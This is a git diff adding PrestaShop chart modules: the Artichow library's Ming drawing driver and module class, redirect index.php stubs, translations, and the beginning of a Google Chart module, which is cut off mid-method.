$resample Resample image ? (default to TRUE) + */ + public function copyResizeImage(awImage $image, awPoint $d1, awPoint $d2, awPoint $s1, awPoint $s2, $resample = TRUE) { + + } + + /** + * Draw a string + * + * @var awText $text Text to print + * @param awPoint $point Draw the text at this point + * @param int $width Text max width + */ + public function string(awText $text, awPoint $point, $width = NULL) { + $font = $text->getFont(); + + // Can we deal with that font? + if($this->isCompatibleWithFont($font) === FALSE) { + awImage::drawError('Class MingDriver: Incompatible font type (\''.get_class($font).'\')'); + } + + // Ming can only work with awFileFont objects for now + // (i.e. awFDBFont, or awTuffy et al.) + $fontDriver = $this->fileFontDriver; + + if($text->getBackground() !== NULL or $text->border->visible()) { + + list($left, $right, $top, $bottom) = $text->getPadding(); + + $textWidth = $fontDriver->getTextWidth($text, $this); + $textHeight = $fontDriver->getTextHeight($text, $this); + + $x1 = floor($point->x - $left); + $y1 = floor($point->y - $top); + $x2 = $x1 + $textWidth + $left + $right; + $y2 = $y1 + $textHeight + $top + $bottom; + + $this->filledRectangle( + $text->getBackground(), + awLine::build($x1, $y1, $x2, $y2) + ); + + $text->border->rectangle( + $this, + new awPoint($x1 - 1, $y1 - 1), + new awPoint($x2 + 1, $y2 + 1) + ); + + } + + $fontDriver->string($this, $text, $point, $width); + } + + /** + * Draw a pixel + * + * @param awColor $color Pixel color + * @param awPoint $p + */ + public function point(awColor $color, awPoint $p) { + if($p->isHidden() === FALSE) { + list($red, $green, $blue, $alpha) = $this->getColor($color); + + $point = new SWFShape(); + $point->setLine(1, $red, $green, $blue, $alpha); + $point->movePenTo($this->x + round($p->x), $this->y + round($p->y)); + $point->drawLine(0.5, 0.5); + $point->movePen(-0.5, 0); + $point->drawLine(0.5, -0.5); + + $this->movie->add($point); + } + } + + /** + * Draw a colored line + * + * @param awColor $color Line color + * @param awLine $line + * @param int $thickness Line tickness + */ + public function line(awColor $color, awLine $line) { + if($line->getThickness() > 0 and $line->isHidden() === FALSE) { + + list($red, $green, $blue, $alpha) = $this->getColor($color); + + $mingLine = new SWFShape(); + $mingLine->setLine($line->getThickness(), $red, $green, $blue, $alpha); + + list($p1, $p2) = $line->getLocation(); + + $mingLine->movePenTo($this->x + round($p1->x), $this->y + round($p1->y)); + + switch($line->getStyle()) { + + case awLine::SOLID : + $mingLine->drawLineTo($this->x + round($p2->x), $this->y + round($p2->y)); + $this->movie->add($mingLine); + break; + + case awLine::DOTTED : + $size = sqrt(pow($p2->y - $p1->y, 2) + pow($p2->x - $p1->x, 2)); + $cos = ($p2->x - $p1->x) / $size; + $sin = ($p2->y - $p1->y) / $size; + + for($i = 0; $i <= $size; $i += 2) { + $p = new awPoint( + round($i * $cos + $p1->x), + round($i * $sin + $p1->y) + ); + $this->point($color, $p); + } + + break; + + case awLine::DASHED : + $width = $p2->x - $p1->x; + $height = $p2->y - $p1->y; + $size = sqrt(pow($height, 2) + pow($width, 2)); + + if($size == 0) { + return; + } + + $cos = $width / $size; + $sin = $height / $size; + + $functionX = ($width > 0) ? 'min' : 'max'; + $functionY = ($height > 0) ? 'min' : 'max'; + + for($i = 0; $i <= $size; $i += 6) { + + $t1 = new awPoint( + round($i * $cos + $p1->x), + round($i * $sin + $p1->y) + ); + + $t2 = new awPoint( + round($functionX(($i + 3) * $cos, $width) + $p1->x), + round($functionY(($i + 3) * $sin, $height) + $p1->y) + ); + + $this->line($color, new awLine($t1, $t2)); + + } + + break; + + } + + } + + } + + /** + * Draw a color arc + + * @param awColor $color Arc color + * @param awPoint $center Point center + * @param int $width Ellipse width + * @param int $height Ellipse height + * @param int $from Start angle + * @param int $to End angle + */ + public function arc(awColor $color, awPoint $center, $width, $height, $from, $to) { + + } + + /** + * Draw an arc with a background color + * + * @param awColor $color Arc background color + * @param awPoint $center Point center + * @param int $width Ellipse width + * @param int $height Ellipse height + * @param int $from Start angle + * @param int $to End angle + */ + public function filledArc(awColor $color, awPoint $center, $width, $height, $from, $to) { + + } + + /** + * Draw a colored ellipse + * + * @param awColor $color Ellipse color + * @param awPoint $center Ellipse center + * @param int $width Ellipse width + * @param int $height Ellipse height + */ + public function ellipse(awColor $color, awPoint $center, $width, $height) { + + } + + /** + * Draw an ellipse with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param awPoint $center Ellipse center + * @param int $width Ellipse width + * @param int $height Ellipse height + */ + public function filledEllipse($background, awPoint $center, $width, $height) { + + } + + /** + * Draw a colored rectangle + * + * @param awColor $color Rectangle color + * @param awLine $line Rectangle diagonale + * @param awPoint $p2 + */ + public function rectangle(awColor $color, awLine $line) { + list($p1, $p2) = $line->getLocation(); + + // Get Red, Green, Blue and Alpha values for the line + list($r, $g, $b, $a) = $this->getColor($color); + + // Calculate the coordinates of the two other points of the rectangle + $p3 = new Point($p1->x, $p2->y); + $p4 = new Point($p2->x, $p1->y); + + + $side = clone $line; + + + + // Draw the four sides of the rectangle, clockwise + if( + ($p1->x <= $p2->x and $p1->y <= $p2->y) + or + ($p1->x >= $p2->x and $p1->y >= $p2->y) + ) { + $side->setLocation($p1, $p4); + $this->line($color, $side); + + $side->setLocation($p4, $p2); + $this->line($color, $side); + + $side->setLocation($p2, $p3); + $this->line($color, $side); + + $side->setLocation($p3, $p1); + $this->line($color, $side); + } else { + $side->setLocation($p1, $p3); + $this->line($color, $side); + + $side->setLocation($p3, $p2); + $this->line($color, $side); + + $side->setLocation($p2, $p4); + $this->line($color, $side); + + $side->setLocation($p4, $p1); + $this->line($color, $side); + } + } + + /** + * Draw a rectangle with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param awLine $line Rectangle diagonale + */ + public function filledRectangle($background, awLine $line) { + list($p1, $p2) = $line->getLocation(); + + // Common shape settings + $shape = new SWFShape(); + $shape->setLine(0); + + if($background instanceof awColor) { + + // Get the Red, Green, Blue and Alpha values + list($r, $g, $b, $a) = $this->getColor($background); + $shape->setRightFill($r, $g, $b, $a); + + } else if($background instanceof awGradient) { + + // Get the Gradient object as an SWFGradient one + list($flashGradient, $style) = $this->getGradient($background); + + $fill = $shape->addFill($flashGradient, $style); + + // Angles between Artichow and Ming don't match. + // Don't use abs() or vertical gradients get inverted. + $angle = $background->angle - 90; + $fill->rotateTo($angle); + + // Move the gradient based on the position of the rectangle we're drawing + $centerX = min($p1->x, $p2->y) + abs($p1->x - $p2->x) / 2; + $centerY = min($p1->y, $p2->y) + abs($p1->y - $p2->y) / 2; + $fill->moveTo($centerX, $centerY); + + // Ming draws its gradients on a 1600x1600 image, + // so we have to resize it. + if($angle === -90) { + $ratio = abs($p1->y - $p2->y) / 1600; + } else { + $ratio = abs($p1->x - $p2->x) / 1600; + } + $fill->scaleTo($ratio); + + $shape->setRightFill($fill); + + } + + // Set starting position + $shape->movePenTo($this->x + round($p1->x), $this->y + round($p1->y)); + + // Depending on the points' relative positions, + // we have two drawing possibilities + if( + ($p1->x <= $p2->x and $p1->y <= $p2->y) + or + ($p1->x >= $p2->x and $p1->y >= $p2->y) + ) { + $shape->drawLineTo($this->x + round($p2->x), $this->y + round($p1->y)); + $shape->drawLineTo($this->x + round($p2->x), $this->y + round($p2->y)); + $shape->drawLineTo($this->x + round($p1->x), $this->y + round($p2->y)); + $shape->drawLineTo($this->x + round($p1->x), $this->y + round($p1->y)); + } else { + $shape->drawLineTo($this->x + round($p1->x), $this->y + round($p2->y)); + $shape->drawLineTo($this->x + round($p2->x), $this->y + round($p2->y)); + $shape->drawLineTo($this->x + round($p2->x), $this->y + round($p1->y)); + $shape->drawLineTo($this->x + round($p1->x), $this->y + round($p1->y)); + } + + $this->movie->add($shape); + } + + /** + * Draw a polygon + * + * @param awColor $color Polygon color + * @param Polygon A polygon + */ + public function polygon(awColor $color, awPolygon $polygon) { + $points = $polygon->all(); + $count = count($points); + + if($count > 1) { + + $side = new awLine; + $side->setStyle($polygon->getStyle()); + $side->setThickness($polygon->getThickness()); + + $prev = $points[0]; + + for($i = 1; $i < $count; $i++) { + $current = $points[$i]; + $side->setLocation($prev, $current); + $this->line($color, $side); + $prev = $current; + } + + // Close the polygon + $side->setLocation($prev, $points[0]); + $this->line($color, $side); + } + } + + /** + * Draw a polygon with a background + * + * @param mixed $background Background (can be a color or a gradient) + * @param Polygon A polygon + */ + public function filledPolygon($background, awPolygon $polygon) { + $shape = new SWFShape(); + + if($background instanceof awColor) { + list($red, $green, $blue, $alpha) = $this->getColor($background); + + $shape->setRightFill($red, $green, $blue, $alpha); + } elseif($background instanceof awGradient) { + list($flashGradient, $style) = $this->getGradient($background); + + $fill = $shape->addFill($flashGradient, $style); + + list($xMin, $xMax) = $polygon->getBoxXRange(); + list($yMin, $yMax) = $polygon->getBoxYRange(); + + if($background->angle === 0) { + $fill->scaleTo(($yMax - $yMin) / 1600); + } else { + $fill->scaleTo(($xMax - $xMin) / 1600); + } + $fill->moveTo($xMin + ($xMax - $xMin) / 2, $yMin + ($yMax - $yMin) / 2); + + $shape->setRightFill($fill); + } + + $points = $polygon->all(); + $count = count($points); + + if($count > 1) { + + $prev = $points[0]; + + $shape->movePenTo($prev->x, $prev->y); + + for($i = 1; $i < $count; $i++) { + $current = $points[$i]; + $shape->drawLineTo($current->x, $current->y); + } + + // Close the polygon + $shape->drawLineTo($prev->x, $prev->y); + + $this->movie->add($shape); + + } + } + + /** + * Sends the image, as well as the correct HTTP headers, to the browser + * + * @param awImage $image The Image object to send + */ + public function send(awImage $image) { + $this->drawImage($image); + } + + /** + * Get the image as binary data + * + * @param awImage $image + */ + public function get(awImage $image) { + return $this->drawImage($image, TRUE, FALSE); + } + + public function getTextWidth(awText $text) { + $font = $text->getFont(); + if($this->isCompatibleWithFont($font) === FALSE) { + awImage::drawError('Class MingDriver: Incompatible font type (\''.get_class($font).'\')'); + } + + // Ming only supports FileFont + $fontDriver = $this->fileFontDriver; + + return $fontDriver->getTextWidth($text, $this); + } + + public function getTextHeight(awText $text) { + $font = $text->getFont(); + if($this->isCompatibleWithFont($font) === FALSE) { + awImage::drawError('Class MingDriver: Incompatible font type (\''.get_class($font).'\')'); + } + + // Ming only supports FileFont + $fontDriver = $this->fileFontDriver; + + return $fontDriver->getTextHeight($text, $this); + } + + protected function isCompatibleWithFont(awFont $font) { + if($font instanceof awTTFFont or $font instanceof awPHPFont) { + return FALSE; + } else { + return TRUE; + } + } + + private function drawImage(awImage $image, $return = FALSE, $header = TRUE) { + + // Send headers to the browser + if($header === TRUE) { + $image->sendHeaders(); + } + + if($return) { + ob_start(); + } + + $this->movie->output(); + + if($return) { + return ob_get_clean(); + } + } + + /** + * Convert an awGradient object to an SWFGradient one. + * Returns an object as well as the style of the Flash gradient. + * + * @param awGradient $gradient The awGradient object to convert + * @return array + */ + private function getGradient(awGradient $gradient) { + $flashGradient = new SWFGradient(); + + // Get RGBA values for the gradient boundaries + list($r1, $g1, $b1, $a1) = $this->getColor($gradient->from); + list($r2, $g2, $b2, $a2) = $this->getColor($gradient->to); + + $flashGradient->addEntry(0, $r1, $g1, $b1, $a1); + + if($gradient instanceof awBilinearGradient) { + + $flashGradient->addEntry($gradient->center, $r2, $g2, $b2, $a2); + $flashGradient->addEntry(1, $r1, $g1, $b1, $a1); + + return array($flashGradient, SWFFILL_LINEAR_GRADIENT); + } else { + + $flashGradient->addEntry(1, $r2, $g2, $b2, $a2); + + if($gradient instanceof awLinearGradient) { + return array($flashGradient, SWFFILL_LINEAR_GRADIENT); + } else { + return array($flashGradient, SWFFILL_RADIAL_GRADIENT); + } + } + } +// abstract private function getPolygonPoints(awPolygon $polygon); + +} + +registerClass('MingDriver'); + +/* + * Check for ming presence + */ +if(function_exists('ming_useswfversion') === FALSE) { + awImage::drawErrorFile('missing-ming'); +} + diff --git a/modules/graphartichow/artichow/inc/index.php b/modules/graphartichow/artichow/inc/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/inc/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/index.php b/modules/graphartichow/artichow/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/artichow/patterns/BarDepth.php b/modules/graphartichow/artichow/patterns/BarDepth.php new file mode 100755 index 0000000..eaf822f --- /dev/null +++ b/modules/graphartichow/artichow/patterns/BarDepth.php @@ -0,0 +1,84 @@ +barShadow->setSize(2); + $plot->barShadow->smooth(TRUE); + $plot->barShadow->setColor(new Color(160, 160, 160, 10)); + + return $plot; + + } + + public function create() { + + $group = new PlotGroup; + $group->setSpace(2, 2, 2, 0); + $group->setPadding(30, 10, NULL, NULL); + + $group->grid->hideVertical(TRUE); + $group->grid->setType(Line::DASHED); + + $yForeground = $this->getArg('yForeground'); + $yBackground = $this->getArg('yBackground'); + + $legendForeground = $this->getArg('legendForeground'); + $legendBackground = $this->getArg('legendBackground'); + + $colorForeground = $this->getArg('colorForeground', new LightBlue(10)); + $colorBackground = $this->getArg('colorBackground', new Orange(25)); + + if($yForeground === NULL) { + awImage::drawError("Class BarDepthPattern: Argument 'yForeground' must not be NULL."); + } + + // Background + if($yBackground !== NULL) { + + $plot = $this->getPlot($yBackground, 6); + $plot->setBarColor($colorBackground); + + $group->add($plot); + if($legendBackground !== NULL) { + $group->legend->add($plot, $legendBackground, Legend::BACKGROUND); + } + + } + + // Foreground + $plot = $this->getPlot($yForeground, 0); + $plot->setBarColor($colorForeground); + + $group->add($plot); + if($legendForeground !== NULL) { + $group->legend->add($plot, $legendForeground, Legend::BACKGROUND); + } + + $group->axis->bottom->hideTicks(TRUE); + + $group->legend->shadow->setSize(0); + $group->legend->setAlign(Legend::CENTER); + $group->legend->setSpace(6); + $group->legend->setTextFont(new Tuffy(8)); + $group->legend->setPosition(0.50, 0.10); + $group->legend->setBackgroundColor(new Color(255, 255, 255, 10)); + $group->legend->setColumns(2); + + return $group; + + } + +} diff --git a/modules/graphartichow/artichow/patterns/LightLine.php b/modules/graphartichow/artichow/patterns/LightLine.php new file mode 100755 index 0000000..156d9aa --- /dev/null +++ b/modules/graphartichow/artichow/patterns/LightLine.php @@ -0,0 +1,49 @@ +getArg('legend'); + + $y = $this->getArg('y'); + + if($y === NULL) { + awImage::drawError("Class LightLinePattern: Argument 'y' must not be NULL."); + } + + $plot = new LinePlot($y); + $plot->setSize(0.7, 1); + $plot->setCenter(0.35, 0.5); + $plot->setPadding(35, 15, 35, 30); + $plot->setColor(new Orange()); + $plot->setFillColor(new LightOrange(80)); + + $plot->grid->setType(Line::DASHED); + + $plot->mark->setType(Mark::CIRCLE); + $plot->mark->setFill(new MidRed); + $plot->mark->setSize(6); + + $plot->legend->setPosition(1, 0.5); + $plot->legend->setAlign(Legend::LEFT); + $plot->legend->shadow->smooth(TRUE); + + if($legend !== NULL) { + $plot->legend->add($plot, $legend, Legend::MARK); + } + + return $plot; + + } + +} diff --git a/modules/graphartichow/artichow/patterns/index.php b/modules/graphartichow/artichow/patterns/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/artichow/patterns/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/graphartichow.php b/modules/graphartichow/graphartichow.php new file mode 100755 index 0000000..9a60680 --- /dev/null +++ b/modules/graphartichow/graphartichow.php @@ -0,0 +1,369 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class GraphArtichow extends ModuleGraphEngine +{ + private $_graph; + private $_plot = array(); //for simple-layer graphics + private $_group = NULL; //for multi-layer graphics + private $_error = 0; + + function __construct($type = null) + { + if ($type != null) + { + require_once(dirname(__FILE__).'/artichow/Graph.class.php'); + $this->_graph = new Graph(); + $this->_graph->setAntiAliasing(function_exists('imageantialias')); + parent::__construct($type); + } + else + { + $this->name = 'graphartichow'; + $this->tab = 'administration'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + Module::__construct(); + + $this->displayName = $this->l('Artichow'); + $this->description = $this->l('Artichow is a library that enables the display of simple picture-based graphs using PHP and GD.'); + } + } + + function install() + { + return (parent::install() AND $this->registerHook('GraphEngine')); + } + + public static function hookGraphEngine($params, $drawer) + { + return ''; + } + + private function drawLine($values) + { + require_once(dirname(__FILE__).'/artichow/LinePlot.class.php'); + // Single layer + if (!isset($values[0]) OR !is_array($values[0])) + { + $this->_plot = new LinePlot(array_values($values)); + $this->_plot->setFillGradient(new LinearGradient(new Color(255, 246, 211, 20), new Color(240, 225, 160, 50), 90)); + $this->_plot->setColor(new Color(80, 50, 0, 0)); + } + // Multiple layers + else + { + $tabColors = array(new Color(120, 120, 30, 10), new Color(66, 127, 195, 10), new Color(195, 65, 60, 10), new Color(85, 163, 57, 10), new Color(255, 35, 152, 10)); + $tabFilledColors = array(new Color(120, 120, 30, 90), new Color(66, 127, 195, 90), new Color(195, 65, 60, 90), new Color(85, 163, 57, 90), new Color(255, 35, 152, 90)); + + $this->_group = new PlotGroup; + $i = 0; + foreach ($values as $val) + { + $this->_plot[$i] = new LinePlot(array_values($val)); + $this->_plot[$i]->setColor($tabColors[$i % 5]); + $this->_plot[$i]->setFillColor($tabFilledColors[$i % 5]); + $this->_group->add($this->_plot[$i]); + $i++; + } + } + } + + private function drawColumn($values) + { + require_once(dirname(__FILE__).'/artichow/BarPlot.class.php'); + + if (!is_array($values[0])) //simpleline + { + $this->_plot = new BarPlot(array_values($values)); + $this->_plot->label->set(array_values($values)); + $this->_plot->label->setColor(new Color(110, 110, 110)); + $this->_plot->label->move(0, -7); + $this->_plot->label->setAlign(Positionable::CENTER, NULL); + $this->_plot->setBarGradient(new LinearGradient(new Color(254, 255, 216), new Color(233, 231, 218), 90)); + $this->_plot->barBorder->setColor(new Color(115, 115, 150)); + $this->_plot->barShadow->setSize(1); + $this->_plot->barShadow->setColor(new Color(215, 215, 215)); + $this->_plot->barShadow->setPosition(Shadow::RIGHT_TOP); + $this->_plot->barShadow->smooth(TRUE); + } + else + { + $tabColors = array(new Color(120, 120, 30, 10), new Color(66, 127, 195, 10), new Color(195, 65, 60, 10), new Color(85, 163, 57, 10), new Color(255, 35, 152, 10)); + $tabFilledColors = array(new Color(120, 120, 30, 90), new Color(66, 127, 195, 90), new Color(195, 65, 60, 90), new Color(85, 163, 57, 90), new Color(255, 35, 152, 90)); + + $this->_group = new PlotGroup; + $i = 0; + foreach ($values as $val) + { + $this->_plot[$i] = new BarPlot(array_values($val)); + $this->_plot[$i]->label->set(array_values($val)); + $this->_plot[$i]->label->setColor($tabColors[$i % 5]); + $this->_plot[$i]->label->move(0, -7); + $this->_plot[$i]->label->setAlign(Positionable::CENTER, NULL); + $this->_plot[$i]->setBarColor($tabFilledColors[$i % 5]); + $this->_plot[$i]->barBorder->setColor($tabColors[$i % 5]); + $this->_plot[$i]->barShadow->setSize(1); + $this->_plot[$i]->barShadow->setColor(new Color(215, 215, 215)); + $this->_plot[$i]->barShadow->setPosition(Shadow::RIGHT_TOP); + $this->_plot[$i]->barShadow->smooth(TRUE); + $this->_group->add($this->_plot[$i]); + $i++; + } + } + } + + private function setErrorImage() + { + require_once(dirname(__FILE__).'/artichow/BarPlot.class.php'); + + $this->_plot = new BarPlot(array(0)); + $this->_type = 'column'; + $this->_plot->setSize(0, 0); + $this->_plot->setCenter(-20, -20); + } + + private function drawPie($values) + { + require_once(dirname(__FILE__).'/artichow/Pie.class.php'); + $exploder = array(); + $counter = sizeof($values); + + $this->_plot = new Pie(array_values($values), Pie::COLORED); + $this->_plot->set3D(10); + $this->_plot->setLabelPrecision(2); + $this->_plot->setLabelPosition(2); + $this->_plot->legend->shadow->setSize(1); + $this->_plot->legend->setModel(Legend::MODEL_BOTTOM); + $this->_plot->legend->setPosition(NULL, 0.87); + $this->_plot->setSize(0.90, 0.90); + for ($i = 0; $i < $counter; $i++) + $exploder[$i] = 8; + $this->_plot->explode($exploder); + } + + private function drawLineColumn($y_max) + { + if ($this->_group == NULL) + { + $this->_plot->setYMax($y_max); + $this->_plot->setSize(1, 1); + $this->_plot->setCenter(0.508, 0.53); + $this->_plot->setPadding(28, 10, NULL, 40); + } + else + { + foreach ($this->_plot as $plot) + $plot->setYMax($y_max); + $this->_group->setYMax($y_max); + $this->_group->setSize(1, 1); + $this->_group->setCenter(0.508, 0.53); + $this->_group->setPadding(28, 10, NULL, 40); + } + } + + public function createValues($values) + { + // $this->_values = array(); + // if (!isset($this->_values[0]) || !is_array($this->_values[0])) + // foreach ($values as $value) + // $this->_values[] = $value; + // else + // { + // foreach ($values as $i => $layerValue) + // { + // $this->_values[$i] = array(); + // foreach ($values[$i] as $value) + // $this->_values[$i][] = $value; + // } + // } + // $values = $this->_values; + + if (sizeof($values) == 0) + { + $this->setErrorImage(); + return; + } + switch ($this->_type) + { + case 'pie': + $this->drawPie($values); + break; + case 'line': + $this->drawLine($values); + $this->drawLineColumn($this->getYMax($values)); + break; + case 'column': + default: + $this->drawColumn($values); + $this->drawLineColumn($this->getYMax($values)); + break; + } + } + + public function setSize($width, $height) + { + if (Validate::isUnsignedInt($width) AND Validate::isUnsignedInt($height)) + $this->_graph->setSize($width, $height); + } + + public function setLegend($legend) + { + $this->_legend = array(); + if (!isset($this->_legend[0]) || !is_array($this->_legend[0])) + foreach ($legend as $label) + $this->_legend[] = $label; + else + { + foreach ($legend as $i => $layerlabel) + { + $this->_legend[$i] = array(); + foreach ($legend[$i] as $label) + $this->_legend[$i][] = $label; + } + } + $legend = $this->_legend; + + if ($this->_plot == NULL && $this->_group == NULL) + return; + foreach ($legend as $k => $val) + $legend[$k] = html_entity_decode(htmlentities(html_entity_decode($val), ENT_NOQUOTES, 'utf-8')); + switch ($this->_type) + { + case 'pie': + $this->_plot->setLegend($legend); + break; + case 'column': + default: + if ($this->_group == NULL) + { + if (isset($this->_plot->xAxis, $this->_plot->yAxis, $this->_plot->grid)) + { + $this->_plot->xAxis->setLabelText($legend); + $this->_plot->xAxis->label->setFont(new Tuffy(7)); + $this->_plot->yAxis->setLabelPrecision(0); + $this->_plot->grid->setType(Line::DASHED); + } + } + else + { + if (isset($this->_group->axis->bottom, $this->_group->axis->left, $this->_group->grid)) + { + $this->_group->axis->bottom->setLabelText($legend); + $this->_group->axis->bottom->label->setFont(new Tuffy(7)); + $this->_group->axis->left->setLabelPrecision(0); + $this->_group->grid->setType(Line::DASHED); + } + } + break; + } + } + + public function setTitles($titles) + { + if ($this->_plot == NULL && $this->_group == NULL) + return; + if (isset($titles['main'])) + { + if (is_array($titles['main']) && $this->_group != NULL) + { + $i = 0; + foreach ($titles['main'] as $key => $val) + if ($key != 0) + $this->_group->legend->add($this->_plot[$i++], $val, ($this->_type == 'line') ? Legend::LINE : Legend::BACKGROUND); + $titles['main'] = $titles['main'][0]; + } + $this->_graph->title->set($titles['main']); + $this->_graph->title->setFont(new Tuffy(10)); + $this->_graph->title->setAlign(Positionable::CENTER, Positionable::MIDDLE); + } + if (isset($titles['x'])) + { + if ($this->_plot != NULL && !is_array($this->_plot)) + { + $this->_plot->xAxis->title->set($titles['x']); + $this->_plot->xAxis->title->setFont(new Tuffy(10)); + $this->_plot->xAxis->setTitleAlignment(Label::RIGHT); + } + else + { + $this->_group->axis->bottom->title->set($titles['x']); + $this->_group->axis->bottom->title->setFont(new Tuffy(10)); + $this->_group->axis->bottom->setTitleAlignment(Label::RIGHT); + } + } + if (isset($titles['y'])) + { + if ($this->_plot != NULL && !is_array($this->_plot)) + { + $this->_plot->yAxis->title->set($titles['y']); + $this->_plot->yAxis->title->setFont(new Tuffy(10)); + $this->_plot->yAxis->setTitleAlignment(Label::TOP); + } + else + { + $this->_group->axis->left->title->set($titles['y']); + $this->_group->axis->left->title->setFont(new Tuffy(10)); + $this->_group->axis->left->setTitleAlignment(Label::TOP); + } + } + } + + public function draw() + { + if ($this->_plot != NULL && !is_array($this->_plot)) + $this->_graph->add($this->_plot); + if ($this->_group != NULL) + $this->_graph->add($this->_group); + $this->_graph->draw(); + } + + private function getYMax($values) + { + $max = 0; + if (isset($values[0]) && is_array($values[0])) + { + foreach ($values as $val) + foreach ($val as $k => $nb) + if ($nb > $max) + $max = $nb; + } + else + { + foreach ($values as $k => $val) + if ($val > $max) + $max = $val; + } + return ($max < 4) ? 4 : (round($max, 0)); + } +} + + diff --git a/modules/graphartichow/index.php b/modules/graphartichow/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphartichow/logo.gif b/modules/graphartichow/logo.gif new file mode 100755 index 0000000..ed937ee Binary files /dev/null and b/modules/graphartichow/logo.gif differ diff --git a/modules/graphartichow/logo.png b/modules/graphartichow/logo.png new file mode 100755 index 0000000..6d14c72 Binary files /dev/null and b/modules/graphartichow/logo.png differ diff --git a/modules/graphartichow/translations/en.php b/modules/graphartichow/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/graphartichow/translations/fr.php b/modules/graphartichow/translations/fr.php new file mode 100755 index 0000000..b96ba1d --- /dev/null +++ b/modules/graphartichow/translations/fr.php @@ -0,0 +1,7 @@ +graphartichow_6b1e6241446c46f7ab8d28ae83d53e71'] = 'Artichow'; +$_MODULE['<{graphartichow}prestashop>graphartichow_f2f747178b068abc9cbeac03d93480e6'] = 'Artichow est une bibliothèque qui permet d\'afficher des graphiques simples utilisant PHP et GD.'; diff --git a/modules/graphartichow/translations/index.php b/modules/graphartichow/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/graphartichow/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/graphgooglechart/graphgooglechart.php b/modules/graphgooglechart/graphgooglechart.php new file mode 100755 index 0000000..738b8b4 --- /dev/null +++ b/modules/graphgooglechart/graphgooglechart.php @@ -0,0 +1,247 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class GraphGoogleChart extends ModuleGraphEngine +{ + private $_width; + private $_height; + private $_values; + private $_legend; + private $_titles; + + function __construct($type = null) + { + if ($type != null) + { + parent::__construct($type); + } + else + { + $this->name = 'graphgooglechart'; + $this->tab = 'administration'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + Module::__construct(); + + $this->displayName = $this->l('Google Chart'); + $this->description = $this->l('The Google Chart API lets you dynamically generate charts.'); + } + } + + function install() + { + return (parent::install() AND $this->registerHook('GraphEngine')); + } + + public static function hookGraphEngine($params, $drawer) + { + return ''; + } + + + public function createValues($values) + { + $this->_values = $values; + } + + public function setSize($width, $height) + { + $this->_width = $width; + $this->_height = $height; + } + + public function setLegend($legend) + { + $this->_legend = $legend; + } + + public function setTitles($titles) + { + $this->_titles = $titles; + } + + private function getChbh($sizeof_values) + { + $chbh = 12; + + if ($sizeof_values < 25) + $chbh += 4; + if ($sizeof_values < 20) + $chbh += 4; + if ($sizeof_values < 15) + $chbh += 8; + if ($sizeof_values < 10) + $chbh += 14; + return ($chbh); + } + + private function drawColumn($max_y) + { + if (!isset($this->_values[0]) || !is_array($this->_values[0])) + $sizeof_values = 